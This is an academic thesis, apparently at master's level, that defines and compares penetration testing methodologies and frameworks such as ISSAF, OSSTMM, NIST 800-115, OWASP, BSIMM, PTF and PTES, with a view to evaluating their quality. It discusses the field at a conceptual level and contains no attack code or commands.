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Abstract
Cyber security is fast becoming a strategic priority across both governments and private
organisations. With technology abundantly available, and the unbridled growth in the size and
complexity of information systems, cyber criminals have a multitude of targets. Therefore, cyber
security assessments are becoming common practice as concerns about information security grow.
Penetration testing is one strategy used to mitigate the risk of cyber-attack. Penetration testers
attempt to compromise systems using the same tools and techniques as malicious attackers thus,
aim to identify vulnerabilities before an attack occurs. Penetration testing can be complex
depending on the scope and domain area under investigation, for this reason it is often managed
similarly to that of a project necessitating the implementation of some framework or methodology.
Fortunately, there are an array of penetration testing methodologies and frameworks available to
facilitate such projects, however, determining what is a framework and what is methodology within
this context can lend itself to uncertainty. Furthermore, little exists in relation to mature frameworks
whereby quality can be measured. This research defines the concept of “methodology” and
“framework” within a penetration testing context. In addition, the research presents a gap analysis
of the theoretical vs. the practical classification of nine penetration testing frameworks and/or
methodologies and subsequently selects two frameworks to undergo quality evaluation using a realworld case study. Quality characteristics were derived from a review of four quality models, thus
building the foundation for a proposed penetration testing quality model. The penetration testing
quality model is a modified version of an ISO quality model whereby the two chosen frameworks
underwent quality evaluation.
Defining methodologies and frameworks for the purposes of penetration testing was achieved. A
suitable definition was formed by way of analysing properties of each category respectively, thus a
Framework vs. Methodology Characteristics matrix is presented. Extending upon the nomenclature
resolution, a gap analysis was performed to determine if a framework is actually a framework, i.e.,
it has a sound underlying ontology. In contrast, many “frameworks” appear to be simply
collections of tools or techniques. In addition, two frameworks OWASP’s Testing Guide and
Information System Security Assessment Framework (ISSAF), were employed to perform
penetration tests based on a real-world case study to facilitate quality evaluation based on a
proposed quality model. The research suggests there are various ways in which quality for
penetration testing frameworks can be measured; therefore concluded that quality evaluation is
possible.
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Chapter 1 : Introduction
This chapter presents an overview of the topic of this thesis; an evaluation of penetration testing
methodologies and frameworks. It begins by providing the necessary background information to
contextualise the research questions this thesis aims to address. Next, the significance of this
research study is discussed followed by the purpose to add further insight to the thesis topic. The
research questions to be explored are presented with the aim of defining concepts and evaluation of
currently available penetration testing methodologies and frameworks. Following the research
questions a definition of terms is provided. This chapter concludes with the thesis structure.

1.1 Background:
Cyber security is a widely used term along with similar terminology, i.e., information security.
Cyber security can be defined as the ability to protect or defend the use of cyberspace from cyber
attacks or similarly; measures taken to protect computers, networks, or data from unauthorised
attack (Kissel, 2013). The rate of cyber security threats detected for business and government has
increased rapidly with close to 7,300 incidents reported to the Computer Emergency Response
Team (CERT) Australia in 2012 and approximately 8,500 incidents reported by August 2013
(Patteson, 2013). Fortunately, mitigation strategies exist for organisations, governments, and
individuals to minimise risk. One mitigation strategy commonly used within the cyber security
industry is penetration testing, commonly referred to as pen testing.
Pen testing helps evaluate information security measures through the eyes of a potential attacker
with the aim of testing the security posture of a system (Midian, 2003). Pen testing is often
employed by organisations as a mitigation strategy to reduce the risk of an attack on computer
resources or in some cases critical infrastructure. Pen testing attempts to ensure weaknesses and
vulnerabilities in a networked environment are detected and can be addressed before they are
exploited in a real-world attack (Tang, 2014). In a typical penetration testing project, a security
practitioner (pen tester) will conduct a series of tests in an attempt to gain access to a system and
exploit vulnerabilities or security flaws using the same tools and techniques that simulate a
malicious attack, but do so in a controlled manner (Yeo, 2013). The difference between an outside
attacker and a pen tester is that the pen tester has been granted permission from the resource owner
to carry out security tests in the interests of identifying vulnerabilities and securing systems before
an attack occurs. As an information security strategy, pen testing offers a promising look into
security defences through the eyes of potential attackers. The significance of a properly scoped and
deployed pen test is that it can be an invaluable tool to assess the ability of a system to survive
malicious attack (Valli, Woodward, Hannay, & Johnstone, 2014).
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From a pen testing perspective a crucial success factor is its underlying methodology. A welldefined methodology is paramount to achieve a good result in identifying security flaws, in other
words, gaps can be identified within the security posture and an organisation can validate the
robustness of their security controls (Yeo, 2013). Without an established methodology or framework
within which to conduct a pen test, identifying vulnerabilities consistently can become difficult
(Frankland, 2009). Wilhelm (2009, p. 154) asserts that penetration tests are projects that need to be
developed using effective and repeatable processes for improvements to be made, businesses goals
to be met, and quality improved. This suggests that penetration testing is achieving some level of
maturity, akin to software engineering, although the lack of attention paid to software vulnerabilities
in initial system release may be due to the fixation of project managers on visible functionality as
noted by Johnstone (2009).
In response to the growing need for security assessments and mitigation strategies, a range of pen
testing methodologies and frameworks have been developed with the aim of developing a structured
approach to pen testing projects. Avison and Fitzgerald (2006, p. 418) discuss in detail the loose but
extensive use of the term “methodology” and argue that there is very little agreement as to what it
means other than at a very general level. Furthermore, there appears to be very limited literature
addressing frameworks and methodologies for the purposes of penetration testing specifically.
Consequently, pen testing methodologies and frameworks appear to be poorly defined. Despite this
confusion of terms there are many pen testing methodologies/frameworks available. Some are free
to use, whereas others require some form of membership, payment or contribution, for example
technical input to the framework or methodology.

Several pen testing methodologies and

frameworks widely available in particular include: Open Source Security Testing Methodology
Manual (OSSTMM), Information Systems Security Assessment Framework (ISSAF), Open Web
Application Security Project (OWASP), Metasploit Framework, and Building Security in Maturity
Model (BSIMM) also known as Software Security Framework (SSF).
Similar to any project, one of the first steps in a pen test is defining an appropriate scope.
Depending on the scope, it can often be difficult to decide which methodology or framework to use,
moreover whether a framework should be used over a methodology or vice versa; or perhaps a
combination of the two. To complicate things even more, domain coverage of penetration testing
projects can vary in degree depending on the scope. Domain coverage can comprise of: web
application testing, mobile phones, wireless networks, physical networks, operating systems, cloud
computing and software applications. In addition, processes and tasks of projects can encompass
11

port scanning, vulnerability assessment, information gathering, password cracking and application
exploitation. With the aforementioned variations of domain coverage, processes, and tasks it would
therefore be beneficial to properly understand the concept of methodology and framework in this
context. Methodologies and frameworks often provide structure and effective workflow for pen
testing procedures (Holik, Horalek, Marik, Neradova, & Zitta, 2014). On the other hand
frameworks should be implemented at a more abstract level, consequently a methodology might be
used to implement the framework (Mnkandla, 2009), as shown in figure 1.1.

Frame worle ISSAF (01SSG, 2006)

Methodology: OSTMM (SECOM.2000)

Tools

Techniques
Methods
Resources

Figure 1.1: Relationship between Methodologies and Frameworks
While there are an array of methodologies and frameworks available for cyber security
professionals, little research has been undertaken to determine what characteristics define a high
quality framework or methodology, moreover evaluation methods aimed at penetration testing
methodologies and frameworks for quality seem to be non-existent.
Defining quality characteristics is considered important for two primary reasons. First, technology
is constantly changing; as a result bringing forth new security risks, for example, with the uptake of
IPv6 changes to the pen testing processes are necessary (Ottow, van Vliet, de Boer, & Pras, 2012).
Second, new devices are introduced into the mix of various domains, for instance, the mobile
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phone, thus changing the security landscape. As a result, additional domain areas and/or hardware
devices will require research and testing as new vulnerabilities are discovered. Defining a set of
quality metrics might prove beneficial for the cyber security discipline overall as penetration testing
grows in maturity. Quality characteristics for consideration in particular are: extensibility,
maintainability, usability, domain coverage, and reliability.
To summarise, the framework of choice should provide enough flexibility to incorporate the latest
vulnerabilities and have the capability of extension to allow for new domain coverage and class of
problems without changing the architecture of the framework. Moreover, defining quality
characteristics will provide pen testers with a means of evaluating frameworks more effectively
before implementation. In addition, a comparison of the different methodologies and frameworks
followed by a clear distinction of terms as to what differentiates a framework from a methodology
would be beneficial for pen testers.

1.2 Significance:
The cyber security industry is growing at a rapid rate with worldwide spending expected to rise with
an estimated $348 million by the year 2016 rising to $547 million by the year 2018 (Gartner, 2016).
Australian security and intelligence agencies have stated publically that Australia is experiencing an
increase in sophisticated cyber attacks in both government and business, originating from an array
of sources, mainly individuals, organised criminals, and foreign intelligence services (Patteson,
2013). Director-General of the Australian Secret Intelligence Service (ASIS) Nick Warner, stated
“The field of cyber operations is one of the most rapidly evolving and potentially serious threats to
our national security in the coming decade” (Warner, 2012, p. 6). CERT released the Cyber Crime
and Security Survey in 2013 that showed an overall increase from 56 organisations reporting cyber
security incidents in 2012 to 76 in 2013 (CERT, 2013).
With increased awareness of cyber security on the rise, pen testing has come to be one primary
mitigation strategy to counter cyber attack (Tang, 2014). The Australian Signals Directorate (ASD)
provides penetration testing services for Australian Government Agencies and further recommends
organisations and business implement the “Top four mitigation strategies to protect your ICT
system” as part of cyber security measures (Australian Signals Directorate, 2014). While most pen
testing methodologies and frameworks are open source and obtainable in the public domain, there is
little research comparing these methodologies in terms of quality and operational applicability as
being valid and applicable for today’s cyber threats. In other words, is a methodology extensible,
whereby it accommodates for new additions to the documentation or software, for instance,
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extending its coverage for the uptake of IPv6. Similarly, is the framework maintainable whereby it
can easily adapt to industry demands, and more importantly, do the creators support it?
Furthermore, an understanding of the concepts by means of nomenclature resolution could help
security professionals, new to the discipline, identify characteristics of a mature framework and
methodology that is based on a sound underlying ontology.

1.3 Purpose:
The purpose of this research is to evaluate a subset of nine penetration testing methodologies and
frameworks using quality metrics. The research will begin with nomenclature resolution to clear
any confusion that may exist relating to the terms “methodology” and ‘framework”. To extend upon
this, the nine frameworks and methodologies will be classified into an appropriate category based
on the definition to determine if they are indeed a framework, methodology or, for example, a
resource. In addition, the research aims to define a set of quality metrics (by means of a quality
model review) suitable for evaluating penetration testing frameworks. Subsequently, a quality
model is proposed. Next, quality evaluation of a sub-set of the selected frameworks will be
undertaken using data analysis and a real-world case study. As a result, the research will generate a
detailed reference for cyber security professionals when exercising judgement on pen testing
frameworks or methodologies.

1.4 Research questions:
1. How to differentiate between methodologies and frameworks for the purposes of penetration
testing
a) What characteristics define a penetration testing framework?
b) What characteristics define a penetration testing methodology?
2. What quality metrics can be defined for penetration testing frameworks?
3. How can penetration testing frameworks be evaluated using quality metrics?

1.5 Definition of Common Terms:
Attack surface: A set of ways in which an adversary can enter a system and potentially cause
damage (Manadhata, 2008) or; any reachable or exploitable vulnerabilities within a system
(Northcutt, 2011). In penetration testing an attack surface can include several types, for example,
any software or hardware that responds to a request. For instance, an open port on a server, an
operating system or application on the target system; an employee may also be considered an attack
surface by means of socially engineering.
Black-box Testing: In penetration testing, there are three main strategies used for security
assessment; black-box, grey-box, and white-box. Black-box testing means the tester has no prior
14

knowledge of the system to be targeted, in other words, the pen tester will simulate a real-world
attack whereby the tester is expected to figure out all the system details and loopholes with no prior
understanding of the system (Shah & Mehtre, 2014).
Domain: Generically a domain is defined as “a sphere of control, influence or concern” (Oxford,
2008). Within a pen testing context, the domain is a particular area of interest for the purposes of a
security assessment. Multiple domain areas may be included in a penetration test, for example;
wireless, mobile phone, internal network, or web application. The scope and business objectives of
a security assessment will likely determine the domain areas that will undergo a penetration test.
Similarly pen testing methodologies and frameworks may include or exclude particular domains.
Extensible: Laplante (2001, p. 173) defines extensibility as “the capacity of a system, component,
or class to be readily and safely extended in its behavioural specification/operational and/or
structural capabilities”. Within a methodology and framework context, extensible pertains to the
capacity of the framework or methodology to be readily and safely extended with minimal effects
on its structure or, have the ability to accommodate new changes with or without instruction.
Framework: A Framework can be defined as “a domain specific application, shell, or skeleton
software system” (Laplante, 2001, p. 197), or, as defined by Mnkandla (2009), “a skeletal
abstraction of a solution to a number of problems that have some similarities”. Penetration testing
frameworks can thus be defined as, a reusable shell or skeleton whereby new processes can be
added in order to tailor them for new requirements; a reusable template or outline for the domain of
penetration testing that may take the form of a documented framework or software framework. It is
concerned with “what” needs to be done and allows the security professional to determine “how”
methods are employed.
Grey-box Testing: Similarly to black-box testing, grey-box testing is an approach to security
testing a system for vulnerabilities, however, unlike black-box testing, grey-box testing provides the
pen tester with partial disclosure of information and resources about the target system (Shah &
Mehtre, 2014). This approach can be thought of as a combination of white-box and black-box
testing whereby some information is known, however, the pen tester must gather additional
information by means of conducting further tests.
Maintainable: Within a software context, to maintain means the ease in which software can be
understood, corrected, adapted and/or enhanced (Laplante, 2001, p. 293). A more generic definition
is to enable or cause something to continue, or to keep in good condition by checking or repairing
regularly ("Maintain", 2015). Sommerville (2007) defines maintainability as “software that can be
adapted economically to cope with new requirements and where there is a low probability that
making changes will introduce new errors into the system”. In relation to a maintainable
methodology or framework the definition can be interpreted as, a methodology or framework that
15

can be adapted to cope with new requirements, and revisions/updates are applied regularly by its
authors. For example, new and emerging technologies may be added and out-of-date practiced
removed. This implies the document or software undergoes regular updates and revisions.
Method: Often method and methodology are used interchangeably as Avison and Fitzgerald (2006)
argue that what differentiates the two terms is the underlying philosophy of a methodology. In other
words, a method is devoid of a philosophy. For the purposes of penetration testing, a method is a
preferred way of performing a task suited to a particularly unique situation.
Methodology: Avison and Fitzgerald (2006, p. 10) define a methodology as “a collection of
procedures, techniques, tools and documentation aids, which will help the systems developers in
their efforts to implement a new information system. A methodology consists of phases, themselves
consisting of sub phases, which will guide the systems developers in their choice of the techniques
that might be appropriate at each stage of the project and also help plan, manage, control and
evaluate information systems projects”. This definition can be adapted within a penetration testing
context stating that a methodology is a collection of procedures, techniques, tools, and
documentation aids that assist a penetration tester in his/her effort to perform a complete penetration
test. A methodology consists of phases, themselves consisting of sub phases, which will guide
penetration testers in their choice of techniques that might be appropriate at each stage of the
project. It may also detail how to perform a particular task providing tools and techniques, and,
assist with planning, management, and control as part of the methodology. It is concerned with
“how” and “why” things are done.
Security Assessment: A security assessment is the measurement of the security posture of an
organisation or a system (Miles, Rogers, Fuller, Hoagberg, & Dykstra, 2004). The security posture
relates to the way the information system security is implemented and relies on three primary
interrelated methods, such as review, examination, and testing. These methods combined can
accurately assess the technology, people, and processes (Abdel-Aziz, 2011). Review relates to
information gathering, whereas examination relates closely to identifying vulnerabilities. Finally,
testing involves penetration testing the vulnerabilities identified in the examination phase; therefore
a security assessment is the overall security posture, different from penetration testing. Penetration
testing therefore, is one facet of a security assessment.
Technique: A way of carrying out a particular task, put another way, a skilful or efficient way of
achieving something ("Technique", 2015). According to Avison and Fitzgerald (2006, p. 14), a
technique is defined as “a way of doing a particular activity in the information systems development
process and any particular methodology may recommend techniques to carry out many of these
activities”. The abovementioned definition closely relates, and can be adapted to a penetration
testing context, thus a technique is a way of doing a particular activity when performing a
16

penetration test, and any particular methodology or framework may recommend techniques to carry
out these activities.
Tool: Software tools, as defined by the Oxford Dictionary of Computing, is “a program that is
employed in the development, repair, or enhancement of other programs or hardware” (Oxford,
2008, p. 476). Penetration testing utilises a multitude of tools, therefore in this context it is defined
as software that can assist in all activities of all phases of a penetration test for a specific task.
White-box- Testing: Contrary to black-box testing, white-box testing provides the pen tester with
all the necessary information and resources about the system. This approach attempts to audit the
internal security arrangements, thus simulating the actions and procedures of internal threats, for
instance, disgruntled employees who have system access (Shah & Mehtre, 2014).

1.6 Thesis Structure
The remainder of this thesis is divided into four chapters. Chapter two provides a literature review,
which describes existing evaluations relating to penetration testing methodologies and frameworks,
and delves into literature concerned with nomenclature resolution, thus reviews the concept of
framework and methodology in various contexts. This is followed by a detailed review of nine
penetration testing methodologies and frameworks that are evaluated in chapter four. Finally, four
existing quality models are reviewed.
Chapter three outlines the research methods and design of the thesis. It begins by identifying a
suitable approach primarily in the field of information systems. Subsequently, an analysis of
approaches of a particular topic area (object) of study is discussed with the aim of selecting the
research approach. Next, research design includes five-phases presenting the design process in order
of completion, followed by the materials required to conduct the research. Finally, the methods
employed for data analysis are discussed. The chapter concludes with an outline of limitations
identified for this research.
Chapter four provides an analysis and discussion of the research that is structured in four sections.
Each section addresses the research questions in order respectively, thus section 4.1 delves into
nomenclature resolution, whereby a solution for defining methodologies and frameworks for the
purpose of penetration testing is proposed. Section 4.2 extends upon section 4.1 and presents a gap
analysis of the nine penetration testing methodologies and frameworks reviewed, thus identifying
framework vs. methodology characteristics that are subsequently used for the selection of two
candidate frameworks employed for further evaluation. Section 4.3 addresses research question two
which asks what quality metrics can be defined for penetration testing frameworks. It presents a
17

quality model of which provides the foundation for framework quality evaluation. Finally, section
4.4 performs a quality evaluation of the two selected frameworks that employs qualitative and
quantitative means for measuring quality. The chapter concludes with a discussion of results and
review of the research amendments.
This thesis concludes with chapter five, where the research questions and findings are summarised.
The chapter commences with a discussion on the outcome of the research framed in relation to each
research question respectively. Next, a critical review of the research is presented addressing
complications and difficulties encountered throughout the research process. Finally, future work is
identified that subsequently puts forth further questions and topic areas that could potentially
expand upon this research, thus extending upon the knowledge of the research topic.

1.7 Summary
This chapter presented the background information relating to the evaluation of penetration testing
frameworks and methodologies highlighting the areas to be explored throughout this research.
Subsequently, the significance and purpose were discussed followed by the research questions this
thesis will address. A definition of terms was provided to add context to the terms frequently used
throughout this thesis, concluding with the thesis structure. Chapter two begins by a review of the
relevant literature required to commence this research.
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Chapter 2 : Review of the Literature
The global security testing market is experiencing rapid growth with reports estimating from (US)
$4.96 billion by the year 2019 ("Security Testing Market Worth $4.96 Billion by 2019," 2014) to
(US) $170 billion by 2020 (Cyber Security Market worth $170.21 Billion by 2020 2015).
Penetration testing is one field within the security testing market benefitting from this growth and is
not expected to slow down, thus it is not surprising that penetration testing firms are achieving
success in the market place. For organisations, business applications have become vital information
assets therefore securing applications has come to the fore due to the increase in cybercrime. For
this reason penetration testing methodologies are paramount for successful identification of
vulnerabilities, i.e., successful identification will largely depend on the underlying methodology
(Frankland, 2009). This research aims to evaluate penetration testing methodologies and/or
frameworks for their potential use in practice or research and in addition, determines a set of quality
characteristics that can be applied to evaluate a methodology or framework for real world use.
The literature review is partitioned into four primary areas. First, a review of literature that attempts
to evaluate existing methodologies and frameworks, including the differentiation of frameworks,
tools, and techniques. The second section will discuss the confusion of definition of terms between
methodology and framework. Avison and Fitzgerald (2006, p. 418) discuss in detail the loose but
extensive use of the term “methodology” and argue that there is very little agreement as to what it
means other than at a very general level.

Furthermore, there is limited literature addressing

frameworks and methodologies for the purposes of penetration testing specifically. Consequently,
penetration testing methodologies and frameworks appear to be poorly defined. Therefore, the
literature review will focus on generic definitions and more specific definitions drawn from the field
of information systems. Third, a review of nine penetration testing methodologies and frameworks
will be presented to objectively examine the diverse range of penetration testing methodologies and
frameworks that exist. The format attempts to follow author, description, advantages, comparison to
other frameworks and/or methodologies, coupled with a summary. Finally, a review of quality
models that could potentially be used as an underlying model to effectively evaluate penetration
testing frameworks will be included.

2.1 Existing evaluations of Frameworks and Methodologies
A range of evaluations concerning penetration testing exists in the literature, however, it appears
evaluation of more than two or three methodologies is minimal; furthermore, any evaluation of
quality of these methodologies is non-existent. Kang (2008) asserts the importance of an underlying
methodology specifically for penetration testing whereby the discussion is focused around three
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methodologies in particular, namely, NIST, OSSTMM, and ISSAF. Kang does not address quality,
however proposes that a methodology should include three main properties: sufficient information,
an experienced team, and adequate tools for the job.

Kang concludes that lack of a formal

methodology will inherently result in inconsistency and that a methodology should provide a
disciplined foundation to complete an accurate penetration test. Similarly, Holik et al. (2014)
discuss the importance of penetration tests with a focus on two methodologies, namely, OWASP
and OSTMM. Holik et al. do differentiate between methodologies and tools offering a discussion
on various tools available, for example, Kali Linux and Nessus. Nevertheless the primary focus is
Metasploit Framework whereby a case study is used as an example for conducting penetration tests.
The authors conclude that there are multiple approaches to penetration testing consisting of
methodologies, frameworks, and software tools, thus a security professional should invest a
significant amount of time learning what tools and techniques exist. While NIST-800-115 is a
penetration testing guide, it does discuss well-known methodologies, for instance OSTMM and
OWASP (NIST, 2008), however comparison of methodologies is not addressed. NIST-800-115
distinguishes between tools and methodologies, thus demonstrating a distinction between the two. It
is also important to note that while research is lacking in regards to comparing the various
methodologies and frameworks or discussion on quality among them, there is sufficient literature on
certain methodologies individually, therefore they can be researched in isolation.

2.2 Defining Methodologies and Frameworks for the purpose of pen testing
Although the literature provides definitions for methodologies and frameworks in various contexts,
primarily information systems, there appears to be dissonance when relating these terms to
penetration testing. For instance, Avison and Fitzgerald (2006) define a methodology as "a
collection of procedures, techniques, tools and documentation aids, which will help the systems
developers in their efforts to implement a new information system. A methodology consists of
phases, themselves consisting of sub phases, which will guide the systems developers in their
choice of the techniques that might be appropriate at each stage of the project and also help them
plan, manage, control and evaluate information systems projects". In generic terms the Oxford
Dictionary defines a framework as “An essential supporting structure of a building, vehicle or
object”, or similarly more software focussed; “a basic structure underlying a system, concept, or
text” ("Framework", 2015). Johnson (1997, p. 1) states, “a framework is the skeleton of an
application that can be customised by an application developer” and “a framework is a reusable
design of all or part of a system that is represented by a set of abstract classes and the way their
instances interact”. Depending on the context, the definition can vary as illustrated from the
aforementioned definitions. From an application development context, frameworks are used as a
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skeleton from which software applications can be built (Land, 2002). For penetration testing
however, software applications are typically not the final product; moreover, the final product is
generally a report that details results of a series of tests undertaken throughout a pen test
consequently presented to the client as a report. Frameworks within a pen testing context, according
to Wilhelm (2009), focus primarily on processes, activities and tasks, whereas a methodology will
encapsulate processes, activities and tasks. Similarly, Mnkandla (2009) states that a framework
should be implemented at a more abstract level, thus a methodology might be used to implement the
framework.
In summary, methodologies and frameworks consist of various phases, characteristics, processes,
and techniques providing structure and guidance to complex tasks. It can thus be said that a reliable
pen test should consist of well-defined, repeatable processes; in other words treated as a project.
With an underlying methodology in place results can be repeated and verified (Wilhelm, 2009),
therefore defining what a methodology means within the boundaries of pen testing would be
crucial; however, it is not clear from the literature what defines a methodology and what defines a
framework within a pen testing context.

2.3 Review of Nine Penetration Testing Methodologies and Frameworks
2.3.1 Information System Security Assessment Framework (ISSAF)
ISSAF is an Open Source, peer-reviewed, penetration testing framework created by the Open
Information Systems Security Group (OISSG). ISSAF is described as a framework and
encapsulates multiple methodologies (draft 0.2.1B). The ISSAF appears to be a detailed and
comprehensive framework covering a variety of domains whereby each is allowed to have its own
methodology. Domain areas include, but are not limited to: password security testing, switch and
router security, firewall security, intrusion detection systems assessments, VPN security, web
application security, and windows security. Although not all domains are listed here it is suffice to
say that the ISSAF attempts to cover all possible domains of a penetration test from conception to
completion. The penetration testing methodology of the framework is divided into three primary
phases, namely: planning and preparation, assessment, reporting and clean up. One advantage of the
ISSAF in particular is that the distinct relationship between tasks and the associated tools for each
task are shown, in addition screenshots of expected outputs are provided, together with explanations
of “how” and “why” each task is performed. The ISSAF is large in comparison to other frameworks
but assumes it is easier for organisations to delete material rather than develop it from the ground up
(OISSG, 2005). Two disadvantages of the ISSAF are support and maintenance. The framework has
not undergone any updates post 2006, thus, includes out-dated systems, for instance, Novell
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Netware and Lotus Notes. Furthermore, some pen testing tools recommended within the ISSAF are
no longer used in industry. Taking into account that additional tools and techniques have been
developed since 2006, a user should be cautious when relying on this framework alone.
2.3.2 Open Source Security Testing Methodology Manual (OSSTMM)
OSSTMM is an open source security testing methodology introduced in 2000 by the Institute for
Security and Open Methodologies (ISECOM). OSSTMM was developed under peer-review and
benefits from open source licensing, however, access to the latest version (version 4) require paid
membership. The OSSTMM (version 3) is defined as a methodology that encapsulates modules and
channels (ISECOM, 2000). OSSTMM classifies a domain area of interest as a channel. The
OSSTMM consists of five channels: human, physical, wireless, telecommunications, and data
network security. In these channels the methodology includes current environments namely, cloud
computing and virtualisation. Unlike the ISSAF, OSSTMM does not recommend what tools to use,
rather, best practices to follow. The OSSTMM refers to each repeatable phase as a module and
assumes a security professional possesses sufficient knowledge of tools and techniques required to
perform each module. OSSTMM provides adequate guidelines accompanied by templates for
reporting; it also includes trust metrics that allow risk assessment for other factors that cannot be
tested. That means cloud, vendor contracts and services, products, and even employee hiring can all
be measured for their risk and attack surface, which could be considered an improvement compared
to ISSAF. Attack surface can measure and point out the places where an attacker might attack, and
which types of attacks would likely be successful.
In summary the OSSTMM is an auditing methodology designed to be consistent and repeatable at
an operational level by providing accurate measures of security by means of a security audit. Both
OSTMM and ISSAF provide guidance but the latter suggests tools or methods for completing
modules. OSTMM is a valuable auditing resource that can be used to satisfy regulatory
requirements for corporate assets provided security auditors have sufficient skills to complete each
module.
2.3.3 NIST 800-115
NIST 800-115 is a technical guide for information security testing and assessment and is maintained
by the National Institute of Standards and Technology (NIST) for federal government agencies in
the U.S. It is free for use in the private sector and is not subject to copyright though attribution is
desired (NIST, 2008). NIST-800-115 provides guidelines for planning and conducting information
security tests. By comparison, it is not as detailed as the OSSTMM and ISSAF. NIST offers
structured documentation on how to implement a methodology with repeatable processes for
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security assessments primarily aimed at organisations. In contrast to ISSAF and OSSTMM, NIST
does not focus on pen testing alone, moreover, a focus on security assessments that include pen
testing as part of the whole process. NIST 800-115 explains in detail planning, execution, and post
execution techniques with a focus on identifying vulnerabilities. Similar to the OSSTMM, NIST
800-115 does not recommend particular tools but presents an appendix of suggested tools used in
the field of cyber security for particular tasks. NISTS 800-115 assumes the security professional
possesses the knowledge and skills required for conducting penetration tests. The NIST 800-115
Guide was designed with the aim of providing organisations with a means of developing a
methodology that can be adapted for security assessments thus fostering repeatable processes,
planning, execution, and post-execution techniques for organisations. In summary, NIST 800-115 is
a valuable guide that can be implemented as a security strategy for organisations. The
documentation assists organisations in the development of an information security testing
methodology, how to accurately plan and execute an assessment, and how to conduct analysis
reporting. NIST 800-115 does not identify itself as a methodology; it assists in the development of a
methodology for the purposes of information security assessments.

2.3.4 Open Web Application Security Project (OWASP)
OWASP is a not-for-profit organisation focused on improving software security. OWASP provides
numerous tools, guides and testing methodologies for cyber security under the open source license.
One of scores of security guides available is the OWASP Testing Guide (OTG), obtainable from the
OWASP website. OTG encapsulates a testing framework for software development, web application
security testing methodology for penetration testing web applications, and a reporting guide. The
OTG details tasks and techniques appropriate for various phases of the software development
lifecycle focussed on developing software with security in mind as opposed to identifying
vulnerabilities after development. The OWASP Testing Guide is divided into three primary sections,
namely, the OWASP testing framework for web application development, the web application
testing methodology, and reporting. The OWASP Testing Guide encapsulates the Web Application
Methodology (section four) that provides a strong focus on web applications. The methodology can
be used independently or in conjunction with the testing framework; in other words, a developer can
use the guide to build a web application with security in mind followed by a penetration test (web
application methodology) to test the design. The OWASP methodology for web applications brings
together tools and techniques used for each phase of a penetration test, however, it does not provide
details of each tool, it instead assumes knowledge of tools and techniques. The recommended tools
for each phase are detailed throughout; in addition web links to relevant information of tools and
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techniques are offered to assist with any knowledge gaps that might exist. The target audience is
intermediate to advanced level cyber security professionals with a strong focus on web application
technologies. What is unique about this methodology is the discussion on protocol behaviour. In
contrast to the methodologies/frameworks discussed thus far, the OTG shows what results might be
expected from a test. The web application methodology presents as a well-defined structure that
follows a consistent format, namely: phase summary, objective, how to test, recommended tools,
references and/or whitepapers, and remediation. The tests cover both client-side and server-side
testing coupled with examples. OWASP provides an additional resource for security professionals
known as WEBGoat, a project that enables penetration testers to load a vulnerable website in a
controlled environment and test these techniques against a live system.
To summarise, the OTG has a strong focus on web application security throughout the software
development lifecycle as opposed to the ISSAF and OSSTMM, both of which are aimed at security
testing an entire system post-implementation. The OTG is suited specifically to one domain area,
that of web applications. It offers a web application testing methodology, whereby pen testers are
expected to have appropriate knowledge of tools in the field and how to use them, but does not
assume complete knowledge. Therefore, a list of recommended tools is provided.
2.3.5 Building Security in Maturity Model (BSIMM)
Building Security in Maturity Model (BSIMM) is a software security framework (SSF) licensed
under Creative Commons and is free to use as a resource (McGraw, Migues, & West, 2009). The
authors quantified the security practices implemented from sixty-seven highly successful companies
including; Microsoft, Google, Adobe. McAfee, Sony mobile, HP, and Goldman Sachs, that form the
benchmark for BSIMM. The authors describe BSIMM as a study of existing software security
initiatives (McGraw et al., 2009). The approach was data first, then model. BSIMM is about what
organisations actually do in the real world. BSIMM consists of 112 activities divided into twelve
practices that support four domains, mainly governance, intelligence, SSDL touch points, and
deployment. BSIMM is designed to help organisations understand, plan, and measure a software
security initiative. The framework does not focus on what an organisation should do, instead, what
successful organisations are doing. An observation learned from the study was that approximately
1% of the software developer size of an organisation made up a software security group (SSG).
Once an SSG was formed within an organisation, they then take the BSIMM and implement its
activities into their software security initiative. In comparison to the ISSAF, OSTMM and NIST,
BSIMM does not set out what tools to use or how to use them, but the alternative, i.e., what
practices successful companies are using to secure their environment. Pen testing is one practice
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identified within the BSIMM framework and is only one of many processes recommended;
therefore the focus is not penetration testing alone, moreover, a security assessment that includes
penetration testing as one activity. BSIMM offers an alternative approach to that of other
penetration testing methodologies and frameworks inasmuch as observing “what” other companies
are implementing, not what companies “should” be doing.
2.3.6 Penetration Testing Framework 0.59 (PTF)
PTF is defined as a penetration testing framework (Lawson, Byrne, Doraiswamy, & Ouchn, n.d)
that contains fifteen sections. The first four sections are concerned with network foot printing,
enumeration, password cracking, and vulnerability assessment. The remainder covers specific
domain areas, for instance, wireless penetration testing, physical security, Bluetooth specific testing,
and VoIP services In addition, templates are provided for documentation and checklists. Tools and
techniques are offered throughout each phase, however, the pen tester is expected to have the
knowledge and skill to perform each test. Information outlined in the PTF is out-dated, such as outdated tools and broken links, thus the framework cannot be considered up-to-date. In comparison to
the aforementioned frameworks, PTF lacks structure and the authors do not appear to provide
support. Furthermore, documentation regarding the PTF is difficult to obtain. In summary, PTF has
the potential to be further developed into a reliable framework; however, the lack of structure and
documentation as of this research was obvious. PTF would provide a useful resource of information
worth keeping in any pen tester’s resource kit, however, implementation of the PTF as a choice of
framework alone may be questionable.
2.3.7 Penetration Testing Execution Standard (PTES)
Penetration Testing Execution Standard (PTES) is a penetration testing standard originally created
in 2009 by a group of information security professionals who were of the view there was a lack of
quality and guidance within the cyber security testing industry. The goal was to provide both
business and security providers with a common language and scope for performing penetration tests
with the aim of establishing a baseline to define the boundaries of a penetration test (Nickerson et
al., n.d). In other words, to specify what is the minimum set of tests, processes and outputs that
should be undertaken before a penetration test could be considered professional and complete.
PTES includes pre-engagement interactions, intelligence gathering, threat modelling, vulnerability
analysis, exploitation, post exploitation, and reporting. The last document update was April 2012.
PTES provides an extensive list of tools and techniques used in each of the seven sections
accompanied by a description for each section. Screen shots and links to resources are detailed
throughout the document. PTES is not complete as of this writing with contributions required
throughout the documentation. Overall this guideline is a valuable resource and has potential to
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become a solid foundation for a pen testing framework. PTES takes advantage of other resources
with the approach of incorporating other frameworks within it, for example, OWASP for web
application testing is referenced and recommended for use when testing web applications. PTES
attempts to fill the gaps of NIST-800-115 and OSTMM by providing guidelines, methods, tools and
techniques in the one document. It also attempts to create a baseline for a penetration test. The
target audience is security professionals with knowledge of tools used in the field, however, it does
not assume complete knowledge. Organisations can refer to the document for understanding of what
each phase attempts to accomplish for a specific test and what tests should be carried out.
